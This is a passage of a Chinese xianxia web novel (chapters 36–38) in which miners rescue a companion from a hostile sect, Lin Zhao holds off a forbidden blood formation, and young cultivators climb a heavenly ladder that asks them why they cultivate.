沈不言和炎烁也看见了。三人对视一眼,都从对方眼中看到了不祥的预感。
“加快速度。”林照咬牙,“回营地,集结人手。鬼哭峡……出事了。”
夕阳完全沉入地平线,最后一缕余晖将仙山的白玉天梯染成血色。
而大漠之上,风还在呼啸。
仿佛在为某些即将到来的离别,奏响哀歌。
36. 云梯初现
绿色烟柱升起后的第七息,陈砚带着十个伙计从西侧风道冲了出来。
他们身上都披着沾满尘土的隐息蓑衣,手里的矿镐和铁锹还滴着水——那是炸塌风道时浸湿的。陈砚冲在最前,一眼就看到了岩壁下那个摇摇欲坠的石青身影,以及围上去的七名天衍宗弟子。
“慕云——!”陈砚目眦欲裂。
几乎同时,他身后的老矿工王叔从腰间解下一圈麻绳,绳头系着个沉重的铁钩。老人六十多岁了,在北地矿洞干了四十年,手臂上的肌肉依然如铁铸一般。他抡圆了胳膊,铁钩呼啸着飞出,不是砸人,而是钩住了李慕云上方三丈处一块突出的岩石。
“少东家!抓住绳子!”王叔暴喝一声,双手交替猛拉!
李慕云反应极快,在铁钩荡下的瞬间纵身跃起,双手死死抓住麻绳。王叔和三个伙计同时发力,硬生生将李慕云从包围圈中拽了出来!
“放箭!”赵修士厉声下令。
五名天衍宗弟子张弓搭箭——那不是凡人的弓箭,箭身刻着符文,箭头泛着幽蓝光芒,是专破护体真气的“破罡箭”。五道蓝光撕裂暮色,直射半空中的李慕云!
陈砚想都没想,从怀里掏出个东西掷了出去——是面巴掌大的铜镜,镜面已经裂了三道纹,背面刻着个歪歪扭扭的“陈”字。那是他七岁那年,父亲给他的护心镜,说能挡一次灾。
铜镜在空中旋转,恰好挡在李慕云身前。
叮叮叮叮叮!
五支破罡箭先后撞上镜面。第一箭,铜镜剧震;第二箭,裂纹蔓延;第三箭,镜面凹陷;第四箭,镜背的“陈”字开始剥落;第五箭——
镜碎。
但五支箭的力道也被卸去了八成,剩下的两成力道撞在李慕云胸口,将他打得闷哼一声,口中溢出血丝,却终究没被贯穿。
“陈砚!”李慕云落地,踉跄几步,被陈砚一把扶住。
“走!”陈砚架起他就跑。
王叔和伙计们殿后。这些老矿工不懂法术,但懂得怎么在绝境里求生。他们从背篓里抓出大把的石灰粉,迎风一扬——白色的烟尘瞬间弥漫开来,遮蔽了视线。
“雕虫小技。”赵修士冷笑,袖袍一挥,一股罡风卷出,就要吹散石灰粉。
可就在罡风即将触及石灰粉的瞬间,那些白色的粉末突然“轰”地燃起了绿色的火焰!
“什么?!”赵修士一惊,急忙后退。
石灰粉当然不会自燃。但石灰粉下面,被王叔混入了北地特有的“磷石粉”——这东西见风就燃,火是冷的,烧不伤人,但会释放出刺鼻的浓烟,最能扰乱感官。
趁着绿烟弥漫,陈砚一行人已经冲出了三十丈。
“追!”赵修士咬牙,“绝不能让他们跑了!”
七名天衍宗弟子御风而起,就要追击。可刚飞起不到三丈,脚下地面突然塌陷!
那不是普通的塌陷——塌陷处露出了纵横交错的沟壑,沟壑里灌满了黑色的、粘稠的液体。液体遇空气迅速凝固,将七名弟子的脚死死粘在了地上。
“这是……矿胶?”一名弟子惊道。
矿胶是矿工用来固定松动岩层的特制胶液,用十几种矿石粉末混合炼制,凝固后坚逾精铁。王叔他们在撤退的路上,早就布下了这道陷阱。
“砍断!”赵修士挥剑斩向脚下的矿胶。剑光过处,矿胶崩裂,但就这片刻耽搁,陈砚他们已经消失在乱石丛中。
“废物!”韩长老的声音从后方传来。这位白发老者踏空而至,脸色阴沉得能滴出水来。他看着一片狼藉的峡谷,看着碎裂的阵基,看着逃之夭夭的凡人,胸膛剧烈起伏。
“长老,要不要追?”赵修士低头问。
“追?”韩长老冷笑,“摄灵阵被毁,七日心血付之东流,追几个凡人有什么用?”
他望向西方——那是七宗营地的方向,眼中闪过怨毒:“是七宗的人指使的。好,很好。既然他们先动手,那就别怪我不讲规矩了。”
“长老的意思是……”
“启动‘备阵’。”韩长老一字一句,“用那三个金丹俘虏的精血为引,布‘血煞困龙阵’。我要让七宗的人,一个都走不出这片大荒!”
同一时间,七宗营地。
林照、沈不言、炎烁三人冲进营地时,天已经全黑了。营地里灯火通明,各宗弟子都已经集结完毕——显然,鬼哭峡方向的爆炸和灵力波动,所有人都感应到了。
“怎么回事?”凌虚子第一个迎上来,这位玄霄阁的带队师兄素来沉稳,此刻眉宇间也带了几分焦灼。
林照快速将所见说了一遍。当听到“摄灵阵”、“抽髓阵”、“金丹修士被抽成废人”时,在场所有人都变了脸色。
“天衍宗……他们怎么敢!”碧水门的带队女修水月仙子失声道,“抽髓阵是修仙界明令禁止的禁术,布此阵者,天下共诛之!”
“天下共诛?”青云门的一位老道苦笑,“水月师妹,你太天真了。天衍宗敢在这里布阵,就是算准了仙山之事了结前,没人会真和他们翻脸。等事情了结,他们早带着好处回中州了,谁去诛?”
“那就让他们这么猖狂?”炎烁怒道。
“当然不。”凌虚子沉吟片刻,“但他们既然敢布禁阵,必然还有后手。我们贸然前往,恐中埋伏。”
正争论间,营地外围突然传来急促的哨音——那是瞭望弟子发出的警报。
众人冲出帐篷,只见东方天空,不知何时升起了一片血红色的光幕。光幕如倒扣的碗,笼罩了方圆五十里范围,边缘正在缓缓向营地这边蔓延。
光幕所过之处,大地龟裂,草木枯死,连空气中的灵气都变得粘稠、污浊,带着令人作呕的血腥味。
“血煞困龙阵……”凌虚子脸色骤变,“他们连这个都敢用!”
血煞困龙阵,同样是上古禁术。此阵以生灵精血为引,凝聚天地煞气,形成绝灵绝气的死域。入阵者,灵力运转滞涩,气血翻腾难抑,时间一长,甚至会神智错乱、互相残杀。
更可怕的是,这阵法一旦成型,就会不断吞噬范围内的生灵,以生灵精血壮大自身。理论上,只要精血足够,此阵可无限扩张,直到将整片地域化为死地。
“他们哪来的这么多精血?”青禾颤声问。
林照忽然想起峡谷中那三个被抽干的金丹修士,心中一寒:“是那些俘虏……还有这大荒里的生灵。”
仿佛为了印证她的话,光幕边缘处,几头夜间觅食的沙狼哀嚎着倒地,身体迅速干瘪,化作几缕血雾融入光幕。光幕的蔓延速度,肉眼可见地快了一分。
“退!”凌虚子当机立断,“所有人,立刻向西撤离,退出光幕范围!”
七宗弟子迅速行动。但营地里有大量物资——丹药、符箓、阵盘、粮食,都是为进入仙山准备的,一时半会儿根本搬不完。
“来不及了。”沈不言看着越来越近的血色光幕,沉声道,“光幕蔓延速度太快,带上物资根本跑不掉。只能舍弃大部分,轻装撤离。”
“可那些丹药符箓……”炎烁急了。
“命比东西重要。”林照打断他,转身对青禾道,“青禾师姐,你带紫阳宗弟子先撤,能带多少带多少。沈不言,炎烁师兄,你们帮忙组织其他宗门。”
“你呢?”沈不言问。
林照没回答。她走到营地中央,闭上眼睛,将心神沉入脚下的土地。
自从成为自然大阵的阵枢后,她还是第一次尝试在这么远的距离、这么恶劣的环境下沟通地脉。血煞困龙阵的煞气污染了灵气,地脉的“声音”变得微弱而痛苦,像重伤者的呻吟。
但她还是听到了。
这片大荒的土地在哭泣——为那些被抽干的灵气,为那些被吞噬的生灵,也为即将降临的、更深的苦难。
林照深吸一口气,双手结印——不是修仙界常见的法印,是周云鹤册子上记载的“地母印”。印成之时,她周身泛起淡青色的光晕,光晕如水波般荡漾开去,渗入地下。
她在尝试,用自然大阵的力量,暂时稳住营地周围的地脉,延缓血煞阵的侵蚀。
起初很难。血煞阵的煞气如潮水般涌来,她的心神像暴风雨中的小船,随时可能倾覆。但渐渐地,她感觉到了一些回应——不是来自地脉,而是来自更深处的东西。
是那些埋在土里的麦种。
临行前,她让每个孩子都在晒谷观周围埋了一粒麦种,说等麦子发芽的时候,她就回来了。那些麦种沾着孩子们掌心的温度,带着他们的期盼,在土里安静地睡着。
此刻,隔着千山万水,那些麦种仿佛感应到了她的呼唤,开始散发出微弱的、但坚韧的生命气息。那气息通过某种玄之又玄的联系,跨越空间,注入她的心神。
林照忽然明白了周云鹤册子上那句话:“阵枢在此洞,亦在汝心。”
真正的阵枢,从来不是某个地方,是那份与这片土地、与那些生命之间的“牵挂”。牵挂越深,阵枢越稳。
淡青色的光晕稳定下来,在营地周围形成了一个直径十丈的“净土”。血煞光幕蔓延到这里时,速度明显减缓,像遇到了无形的屏障。
“成了!”炎烁惊喜道。
“只是暂时的。”林照脸色苍白,额头渗出细密的汗珠,“我撑不了太久,最多一炷香。大家抓紧时间,能撤多少撤多少。”
一炷香时间,在生死关头短得可怕。
各宗弟子疯了一般收拾东西。丹药符箓装不完,就只挑最珍贵的;阵盘法器带不走,就毁掉核心不让敌人得到。营地一片混乱,却也有种悲壮的秩序。
青禾将紫阳宗最珍贵的三炉丹药装进储物袋,路过林照身边时,塞给她一瓶“回春丹”:“林师妹,撑不住就吃一颗,别硬扛。”
林照点头,目光却望向东方——血煞光幕之外,鬼哭峡的方向。
陈砚和李慕云,他们逃出来了吗?
鬼哭峡东北五里,一处干涸的河床下。
陈砚将最后一点止血药粉撒在李慕云肩头的伤口上,用撕下的衣襟紧紧包扎。伤口很深,险些伤到骨头,鲜血浸透了石青色的衣料。
“疼就说。”陈砚声音沙哑。
李慕云摇摇头,脸色苍白如纸,却还扯出个笑容:“比起矿洞里塌方压断腿的王叔,这算什么。”
王叔在旁边处理自己手臂上的擦伤,闻言咧嘴一笑:“少东家说得对。咱们矿工,命硬。”
十个伙计,一个不少,都逃出来了。但人人带伤,有两个伤势较重,已经陷入半昏迷。
陈砚清点了剩下的物资:雷火石还剩三颗,千里香还剩两支,干粮够吃两天,水……只剩半囊了。
“不能在这里久留。”他看向众人,“天衍宗的人肯定会搜山。我们必须在天亮前,赶到安全的地方。”
“去哪?”一个年轻伙计问。
陈砚从怀里掏出李慕云画的那张地图,在月光下展开:“往西三十里,有一处‘蛇骨洞’,是古商道上的一个隐蔽据点。洞里应该有前人留下的补给,还能避开搜捕。”
“可林姑娘他们……”李慕云看向七宗营地的方向。
“先去蛇骨洞,安置好伤员。”陈砚收起地图,“然后我回去看看。慕云,你伤重,留下。”
“我跟你去。”李慕云坚持。
“不行。”陈砚语气斩钉截铁,“你是李家的少东家,是这些兄弟的主心骨。你得活着,带他们回去。”
两人对视,李慕云从陈砚眼中看到了不容置疑的决心。许久,他点点头:“好。但你也得答应我,天亮前若等不到你,我就带人去找。”
“成交。”
简单休整后,队伍再次出发。王叔和另一个老矿工抬着重伤员,其他人互相搀扶,在月色下深一脚浅一脚地赶路。
陈砚走在最后,不时回头看向来路。夜色中的大荒,像一头蛰伏的巨兽,随时可能将人吞噬。他握紧了腰间的木剑,又摸了摸怀里那枚已经碎裂的护心镜。
父亲当年给他这面镜子时,说:“砚儿,这镜子能挡一次灾。但你要记住,真正能护住你的,不是镜子,是你心里的那股劲儿——不服输的劲儿。”
那股劲儿,他现在感觉到了。
不是为了修仙,不是为了成仙,甚至不是为了活命。是为了某些更简单、也更难的东西——比如不让
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兄弟白白受伤,比如不让那片麦田无人收割,比如不让某些人觉得,凡人的命可以随意践踏。
子夜时分,队伍终于找到了蛇骨洞。
那是个天然形成的岩洞,洞口被藤蔓遮掩,内部却颇为宽敞,能容二十余人。洞壁上果然有前人留下的刻痕——是古商队的标记,表示这里有水源和补给。
王叔在洞底找到了一眼几乎干涸的泉眼,挤了小半囊泥水。又在一个石缝里,发现了半袋发硬的干粮和几块火石。
“够撑两天。”王叔松了口气。
陈砚将重伤员安顿好,给每人分了点水和干粮,这才起身:“我走了。”
李慕云拉住他,将最后两支千里香塞进他手里:“红色求救,绿色报平安。记住,天亮前。”
“记住了。”
陈砚转身出洞,身影很快消失在夜色中。
他没走原路,而是绕了个弯,从北侧接近七宗营地。这条路更险,要翻过两座布满锋利碎石的山脊,但更隐蔽。
一个时辰后,当他终于爬上第二座山脊时,看到了永生难忘的一幕——
七宗营地所在的那片洼地,已经被血红色的光幕完全笼罩。光幕如活物般蠕动,边缘处不断有细小的血丝伸向内部,像在试探、在侵蚀。
而在光幕中心,一团淡青色的光晕顽强地亮着,像风暴中的孤灯。
是林照。
陈砚甚至能想象出她此刻的样子——咬着牙,脸色苍白,汗如雨下,但脊背挺得笔直。
“傻子。”陈砚喃喃道,眼眶发热。
他观察着光幕的情况。血煞阵的范围太大,他一个人根本做不了什么。但阵法的核心一定在鬼哭峡,如果能破坏核心……
正思忖间,营地那边突然起了变化。
血煞光幕似乎感应到了什么,蠕动的速度骤然加快。无数血丝从光幕中伸出,如触手般刺向淡青色光晕。每刺一次,光晕就黯淡一分。
林照撑不住了。
陈砚想都没想,掏出千里香就要点燃——红色那支。可就在他即将点火时,异变再生。
东方天际,那座沉寂了七日的仙山,突然大放光华!
不是之前那种朦胧的虚影,是真实的光——从山脚到山顶,数万级白玉台阶同时亮起,每一级台阶都浮现出金色的符文。符文流转,汇聚成一道贯通天地的光柱,直冲霄汉。
光柱出现的瞬间,血煞光幕如遭重击,剧烈震颤起来。那些伸向营地的血丝寸寸断裂,化作黑烟消散。连光幕本身,也以肉眼可见的速度变淡、稀薄。
仿佛这污秽的煞气,触怒了某种更高层次的存在。
仙山脚下,那扇紧闭了千年的大门,缓缓开启了一道缝隙。
门缝里泄出的不是灵气,不是仙光,而是一种更古老、更浩瀚的气息——像深海,像星空,像万物初生时的第一缕呼吸。
所有人都愣住了。
无论是困在血煞阵中的七宗弟子,还是鬼哭峡里暴怒的韩长老,或是山脊上潜伏的陈砚,甚至远在蛇骨洞里的李慕云,都感受到了那股气息。
那不是召唤,不是诱惑,更像一种……审视。
仙山,在看着他们。
看着这片大地上,这些渺小的生灵,在为何而争,为何而战,为何而生,为何而死。
然后,一个声音在每个人心底响起。
不是语言,是一种直接烙印在意识里的信息:
“登天梯者,需过三问。”
“第一问:你为何修行?”
声音落下的瞬间,仙山脚下的白玉台阶,亮起了前一百级。
这意味着——天梯的第一段,开放了。
血煞光幕彻底消散。七宗营地里的淡青色光晕也缓缓熄灭,林照脱力跪倒,被沈不言一把扶住。
凌虚子看着那一百级发光的台阶,脸色变幻,最终咬牙道:“诸位,仙门已开。是进是退,各自决断。但我提醒一句——刚才那血煞阵,是天衍宗布的。他们就在附近,随时可能卷土重来。若要登天梯,现在就是最好的机会。”
没人说话。
许多人都在回忆刚才那个问题——“你为何修行?”
为了长生?为了力量?为了逍遥?还是为了……别的什么?
林照在沈不言的搀扶下站起,望向那一百级发光的台阶,又回头看向西方——那是晒谷观的方向。
她想起了老谷头临终前的话,想起了阿茸蹭她手心的温度,想起了几个孩子在苜蓿坡上挥手的样子,想起了陈砚和李慕云在夜色中远去的背影。
然后她轻声说,声音不大,却清晰地传到每个人耳中:
“我要去。”
不是为了成仙。
是为了弄明白——如果仙道的尽头是冷血无情,那这仙道,不修也罢。
沈不言握紧剑柄:“我跟你去。”
炎烁咧嘴一笑:“算我一个。”
青禾、水月仙子、凌虚子……一个接一个的年轻修士站了出来。最终,二十一人,一个不少。
他们整理行装,向那一百级台阶走去。
而在山脊上,陈砚看着那些背影,缓缓收起千里香。他转身,往蛇骨洞方向赶去。
仙山开了,林照他们进去了。
而他和李慕云,有他们该做的事——活着,然后带消息回去,告诉那些等待的人,这片大地上发生了什么。
晨光熹微时,陈砚回到了蛇骨洞。李慕云守在洞口,见到他,长长松了口气。
“情况怎么样?”李慕云问。
陈砚将所见说了一遍,最后道:“林照他们进仙山了。仙山开了第一段台阶,说要过三问。第一问是:你为何修行。”
李慕云沉默良久,轻声道:“他们能找到答案的。”
“嗯。”陈砚点头,“我们也能。”
两人并肩站在洞口,望向东方。
天亮了。
仙山的白玉台阶在晨光中熠熠生辉,像一条通往云端的路。
而在台阶的起点,二十一道年轻的身影,已经踏上了第一级。
路还很长。
但总得有人走。
37. 第一问
踏上天梯第一级台阶的瞬间,林照听见了麦浪的声音。
那不是真实的声响,是烙印在记忆深处的回响——晒谷观后山那片麦田,夏末的风拂过时,千万株麦穗摩挲出的沙沙声,像大地在低语。
她低头看去,脚下白玉台阶温润如脂,表面浮现出淡淡的金色符文。那符文不是静止的,在缓慢流转,像水面的涟漪。而就在涟漪中心,她看见了一幅画面:
十二岁的自己,正蹲在麦田里,小心翼翼地给一株倒伏的麦苗扶正、培土。汗水顺着下巴滴进泥土,在干旱的北地夏天,每一滴水都珍贵如油。
“你为何修行?”
那个问题再次在心底响起,这次不再是对所有人的询问,是只对她一人的叩问。
林照没有立刻回答。她继续向上走,第二级,第三级……每上一级,脚下的画面就变化一次。
八岁,老谷头教她辨认草药。老人粗糙的手掌托着一株“七星草”,说这草能止血,但采的时候要留根,来年还能再长。“照丫头,记住了——修行如采药,可以取用,不能断绝。断了根,就什么都没了。”
十三岁,她第一次感受到灵气。不是打坐冥想,是在晾晒麦子时,看着阳光透过麦穗的缝隙洒下来,金灿灿的,忽然就觉得心里有什么东西“咔嚓”一声松动了。后来她才知道,那就是引气入体。
十六岁,下山游历。在渔村帮老渔夫补网,老人说:“网眼不能太密,太小鱼就逃不掉;也不能太稀,稀了大鱼就漏了。修行啊,就跟这补网一样,要留有余地。”
画面一帧帧闪过,像在帮她梳理这十七年的人生。
走到第三十级台阶时,林照停下了。
她回头看去——台阶下方,沈不言、炎烁、青禾他们也在向上走,但每个人的步伐节奏都不同。沈不言走得很稳,每一步都像在丈量剑道的尺度;炎烁走得很快,但不时会停顿,脸上露出挣扎的神色;青禾走走停停,有时甚至会退下一级,似乎在反复确认什么。
每个人,都在面对自己的“第一问”。
而更远处,天梯之外,晨光中的大荒苍茫如海。她能隐约看见西边山脊上有个小黑点——是陈砚吗?还是李慕云?她不确定,但知道他们一定在看着。
林照转回头,继续向上。
这一次,脚下的画面变了。不再是回忆,是某种……预兆?
她看见晒谷观燃起了大火。火光冲天,映红了半边夜空。七个孩子哭着往外跑,李虎抱着豆苗冲在最前,身后是倒塌的房梁、飞溅的火星。阿茸的“咩咩”叫声凄厉而绝望。
“不……”林照心脏骤缩,本能地就要转身往下冲。
但脚步刚动,画面又变了。
大火熄灭,晒谷观化为焦土。可是在焦土中央,一株嫩绿的麦苗破土而出,在晨风中微微摇晃。麦苗周围,更多的新芽钻出地面——是那些她临走前让孩子们埋下的麦种,发芽了。
然后她看见了自己。
不是现在的自己,是更成熟、更沉稳的自己,正站在那片新生的麦田里,弯腰收割。镰刀划过麦秆的声音清脆悦耳,一捆捆麦子堆成小山。远处,重建的晒谷观炊烟袅袅,李虎在教豆苗写字,其余五个孩子在玩闹。
阿茸老了,毛色泛黄,但仍跟在她脚边,时不时蹭蹭她的腿。
画面渐渐淡去。
林照站在台阶上,许久未动。冷汗浸透了里衣,又被晨风吹干。
那是未来吗?还是心魔幻象?她分不清。但那个问题,却在这剧烈的情绪波动中,渐渐清晰起来。
你为何修行?
不是为了长生——老谷头活了一百三十岁,临终前说“够了,该走了”,脸上是释然的笑。
不是为了力量——再强的力量,也挽不回一场大火,救不了所有想救的人。
那到底是为了什么?
林照想起了周云鹤册子上的话:“阵枢非无情,乃大情——情系一方水土,情系万物生灵,情系所有平凡而珍贵的存在。”
她继续向上走。这一次,脚步沉稳了许多。
走到第五十级台阶时,那个声音再次响起,这次带着某种审视的意味:
“若修行终是一场空,若守护终将破碎,若牵挂终成负担——你,还修吗?”
林照笑了。
那是自踏上仙山后,她第一次露出笑容。笑容很淡,却像穿透乌云的第一缕阳光。
“修啊。”她轻声说,声音在空旷的天梯上回荡,“为什么不修?”
“哪怕一场空?”
“空不空的,得走了才知道。”林照抬头望向更高的台阶,“就像种麦子——春天播种时,谁知道秋天能不能丰收?可能旱,可能涝,可能虫灾。但不种,就永远没有。”
她顿了顿,继续说:“老谷头说过,人这一辈子,就像麦子。该扎根时扎根,该抽穗时抽穗,该弯腰时弯腰。但最重要的是——知道自己为什么扎根,为什么抽穗,为什么弯腰。”
“你的答案是?”
林照深吸一口气,一字一句:
“我修行,不是为了成仙,是为了有能力守护那些我想守护的东西。守护晒谷观的一亩三分地,守护观里孩子们的笑容,守护阿茸能在苜蓿坡上安心吃草,守护凡人也能有尊严地活着。”
“若守护不住呢?”
“那就再种。”林照说,“麦子死了,再播新种;房子烧了,再盖新屋;人走了……就记住他们,然后继续往前走。只要这片土地还在,只要还有人愿意播种、愿意守护,希望就死不绝。”
话音落下,脚下的台阶忽然大放光明。
不是之前那种温和的金光,是炽烈的、几乎要灼伤眼睛的纯白光芒。光芒中,那些流转的符文开始重组,化作一段古老的文字:
“道非道,非常道。名非名,非常名。无,名天地之始;有,名万物之母。故常无欲,以观其妙;常有欲,以观其徼。”
这是《道德经》的开篇。林照读过,老谷头教过,但从未像此刻这样,觉得每个字都重若千钧。
文字渐渐淡去,化作一道白光,没入她的眉心。
林照浑身一震。
没有醍醐灌顶的顿悟,没有修为暴涨的舒畅,反而像是……肩上突然压了一副重担。那担子看不见摸不着,但她能感觉到——那是这片土地、这些生灵、这些平凡的日常,交付给她的重量。
她成了“守土人”。
不是自封的,是天梯的认可,是这片天地某种古老规则的承认。
从此,她的道与这片土地绑在了一起。土地荣,她荣;土地枯,她枯。但同时,只要她站着,这片土地就多一分生机;只要她不忘,那些平凡的牵挂就多一分力量。
林照缓缓吐出一口浊气,继续向上。
走到第八十级台阶时,她追上了沈不言。
这位云游剑派的顶尖弟子正盘膝坐在台阶上,双眼紧闭,眉头紧锁,周身剑气紊乱,时而锋锐如要斩断一切,时而温润如春风拂面。
林照在他身边坐下,没说话。
许久,沈不言睁开眼,眼中满是血丝:“林照,我……我答不上来。”
“什么问题?”
沈不言苦笑:“天梯问我,若剑道的尽头是‘无剑’,那练剑何为?若守护的尽头是‘无守’,那守护何为?我想了所有师父教的道理,想了祖师留下的剑谱,可没有一个答案能说服我自己。”
林照看向他腰间的剑。那是柄很普通的青钢剑,剑鞘已经磨得发亮,剑柄上缠的麻绳换过三次——她见过沈不言在夜深人静时,一遍遍擦拭这把剑,像在擦拭自己的魂魄。
“沈师兄。”她轻声问,“你第一次握剑时,是什么感觉?”
沈不言怔了怔,眼中浮现追忆:“七岁,师父把木剑递给我,说‘剑是凶器,也是仁器。用好了护人,用不好伤人’。我那时不懂,只觉得……剑很重,握在手里,手心会出汗。”
“现在呢?”
“现在……”沈不言握紧剑柄,“剑还是很重。但重的不是分量,是责任。每次拔剑,都要想清楚——这一剑,为谁而拔?为何而拔?”
林照点头:“那答案不就在这儿吗?剑道的尽头是什么,不重要。重要的是,你拔剑的每一刻,都知道自己为什么拔剑。就像我种麦子——我不知道麦子最终会长成什么样,但我知道,我播种是为了让人有饭吃。这就够了。”
沈不言愣愣地看着她,许久,忽然笑了。
那笑容像冰层融化,露出底下温润的流水。
“我懂了。”他说,“剑不在锋,在止;道不在高,在守。我练剑,不是为了达到什么‘无剑’的境界,是为了在需要止戈的时候,有能力止戈;在需要守护的时候,有能力守护。”
他站起身,周身紊乱的剑气瞬间收敛,化作一道圆融通透的剑意。那剑意不伤人,不逼人,只是静静地存在着,像山,像河,像千百年不变的日月星辰。
脚下的台阶亮起同样的白光,一段文字浮现:
“兵者不祥之器,非君子之器,不得已而用之,恬淡为上。胜而不美,而美之者,是乐杀人。夫乐杀人者,则不可得志于天下矣。”
沈不言对着那段文字深深一揖,然后继续向上。
林照跟在他身后。两人一前一后,走到了第九十级台阶。
这里已经能俯瞰大半个葬骨原。晨光中,荒原如金色的海,远处仙山的轮廓清晰可见——那不是虚影了,是实实在在的山体,青黑色岩石上覆盖着终年不化的积雪,山腰云雾缭绕,山顶隐没在更高处的云层中。
而他们脚下的天梯,还在一级级向上延伸,看不到尽头。
“歇会儿吧。”沈不言说。
两人在台阶上坐下。林照从怀里掏出个油纸包——是陈砚见面塞给她的肉干,北地特制的风干羊肉,硬得能硌牙,但嚼久了有股独特的咸香。
她分了一半给沈不言。两人就着晨风,慢慢啃着肉干。
“你说,”沈不言望着远方,“天梯为什么要问这些问题?”
“也许……”林照想了想,“不是为了筛选,是为了让登梯的人,自己筛选自己。”
“怎么说?”
“如果连自己为什么修行都弄不清楚,就算上了天梯,到了所谓的‘仙界’,又能怎样?不过是换个地方迷茫罢了。”林照说,“老谷头说过,人最重要的是活得明白。修行修到连自己为什么修都不知道,那还不如不修。”
沈不言点头,忽然问:“林照,如果
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……我是说如果,天梯的尽头真的是囚笼,你怎么办?”
“那就砸了囚笼。”林照说得理所当然,“囚笼关不住真心想飞的人。”
“要是砸不碎呢?”
“那就想办法。”林照笑了,“就像在晒谷观——夏天闹蝗虫,麦子快被吃光了。老谷头带着我们,白天抓蝗虫,晚上点篝火诱杀,硬是保住了三成收成。李虎问,为什么不干脆用法术灭虫?老谷头说,法术能灭一时,灭不了一世。治虫如治水,宜疏不宜堵。”
她看向沈不言:“囚笼也一样。硬砸砸不碎,就找别的路——总有路的。”
沈不言深深看了她一眼,没再说话。
肉干吃完时,下面传来脚步声。炎烁上来了,这小子浑身是汗,道袍都湿透了,但眼睛亮得惊人。
“过了!”他一屁股坐在台阶上,大口喘气,“天梯问我,火焰是毁灭还是创造?我他娘的……想了半天,最后说,火焰是什么,得看握火的人想让它是什么。我想用它烤红薯,它就是炊烟;想用它烧房子,它就是灾祸。然后……台阶就亮了!”
他说得兴奋,手舞足蹈。
林照和沈不言都笑了。
接着,青禾、水月仙子、凌虚子……一个接一个上来了。每个人脸上都有疲惫,但眼睛里都有光——那是想明白了一些事之后的光。
二十一人,全部通过了第一问。
他们站在第九十九级台阶上,望向第一百级。
那级台阶不一样。它更宽,更厚,表面没有符文,只有两个古篆大字:
“叩心”
“这应该是第一问的终点。”凌虚子沉吟道,“踏上去,就算正式通过第一问了。”
“会有什么?”炎烁问。
“不知道。”凌虚子摇头,“古籍记载不一。有的说会赐下机缘,有的说会有考验,也有的说……什么都没有,只是让你看清自己的心。”
众人沉默。
最终,还是林照第一个迈步。
她踏上第一百级台阶的瞬间,整个世界安静了。
风声、呼吸声、心跳声,全都消失了。她站在一片纯白的空间里,上下左右皆是虚无,只有正前方,悬着一面镜子。
镜子不是铜,不是玉,像是……凝固的光。
镜中映出的不是她的脸,是一幅幅画面:
晒谷观的麦田在风中起伏;阿茸在苜蓿坡上啃草;几个孩子围在石桌旁吃饭;老谷头的坟上开满野菊;陈砚在青州商行打算盘;李慕云在矿洞深处举着油灯;沈不言在月下练剑;甚至还有——鬼哭峡里,那三个被抽干的金丹修士绝望的眼神;血煞阵中,沙狼化作血雾的瞬间;仙山脚下,二十一个年轻人仰望天梯的背影……
画面最后定格在一粒麦种上。
麦种破土,发芽,抽穗,成熟,被收割,磨成粉,蒸成馒头,被一个孩子咬了一口。孩子笑了,嘴角沾着馒头屑。
然后所有画面收缩,化作一滴水,滴入镜面。
镜面泛起涟漪。
涟漪中心,浮现一行字:
“道在蝼蚁,在稊稗,在瓦甓,在屎溺。
林照怔住了。
她读过庄子,老谷头的藏书中有一本《南华真经》,她翻过很多遍。但从未像此刻这样,被这句话击中心脏。
道在蝼蚁——在那些渺小的、被人忽视的生命里。
在稊稗——在野草中,在麦田里。
在瓦甓——在晒谷观的破瓦片上,在凡人炊烟升起的屋顶。
在屎溺——在最污秽、最不堪的地方,道也在。
原来如此。
所谓修行,不是要脱离这些,是要深入这些。不是在云端俯瞰人间,是在泥土里扎根生长。
镜子碎了。
不是破裂,是化作万千光点,如萤火虫般飞舞,最后汇聚成一道光束,没入林照丹田。
她感觉到,自己的筑基修为,在这一刻圆满了。
不是境界提升,是根基夯实——像麦子经历了完整的四季,从播种到收割,每一个环节都踏实走过,终于可以迎接下一个轮回了。
白光散去,林照回到了天梯上。
她站在第一百级台阶的顶端,回头看去——身后,是九十九级她一步步走来的路;前方,是第二段天梯,一百级新的台阶,在晨光中泛着温润的玉色。
而台阶起点,又浮现了那个问题:
“第二问:你所修之道,欲往何处?”
林照深吸一口气,没有立刻向前。
她转身,看向台阶下方——沈不言刚刚踏上第一百级,炎烁在第九十八级挣扎,青禾在第九十五级沉思……每个人都还在自己的路上。
而在更远、更远的天梯之外,大荒之上,晨光渐盛。
她隐约看见,西边的山脊上,有两个人影并肩而立,正朝这边挥手。
太远了,看不清脸。
但林照知道,那是陈砚和李慕云。
她也抬起手,用力挥了挥。
然后转身,踏上了第二段天梯的第一级。
风吹起她的衣角,露出腰间那柄镰刀——李虎给的,木柄磨得发亮。
刀刃在晨光中,泛起一点微光。
像麦芒。
38. 道之歧路
第二段天梯的第一级台阶,比想象中更冷。
不是温度的冷,是某种更深层次的寒意——像独自站在荒野深夜,仰望星空时,忽然意识到自身渺小的那种孤寂。
林照踏上这一级时,脚下的白玉不再浮现画面,而是变成了一面镜子。镜面清澈如寒潭,映出的不是她的倒影,而是……
一条路。
一条蜿蜒曲折的山路,路旁开满野菊,路的尽头隐没在云雾里。那是晒谷观后山的路,她走了十七年,闭着眼睛都不会走错。
“你所修之道,欲往何处?”
问题在心底响起时,林照看见镜中的那条路上,出现了许多岔路。
左边一条,铺满灵石,沿途奇花异草,仙鹤绕飞,尽头是一座巍峨的宫殿,殿门敞开,门内金碧辉煌,隐约有仙乐飘飘。
右边一条,荆棘丛生,乱石嶙峋,路的尽头是一座朴素的小院,院里有口老井,井边晒着麦子,炊烟正从屋顶袅袅升起。
中间一条,最模糊,像晨雾中的小径,看不清通向哪里,只能隐约听见风的声音、雨的声音、还有……麦浪的声音。
林照盯着这三条路看了很久。
她没有立刻选择,而是蹲下身,用手指轻轻触碰镜面。指尖触及的瞬间,三条路同时泛起涟漪,涟漪中浮现出不同的景象:
左边的灵石路上,她看见自己身着华服,高坐云端,脚下是万千修士跪拜。可她脸上没有笑容,眼中只有深深的疲惫。
右边的荆棘路上,她看见自己满头白发,仍在晒谷观晒麦子,阿茸老得走不动了,趴在她脚边打盹。几个孩子都长大了,有的远走他乡,有的成家立业,偶尔回来,喊一声“照姐”。平凡,但踏实。
中间那条雾中路上,景象最模糊,只有一些破碎的画面——她在云中行走,身后跟着新的阿茸;她在陌生的村庄教孩子识字;她在深山采药救人;她坐在某座山顶,看日出月落……
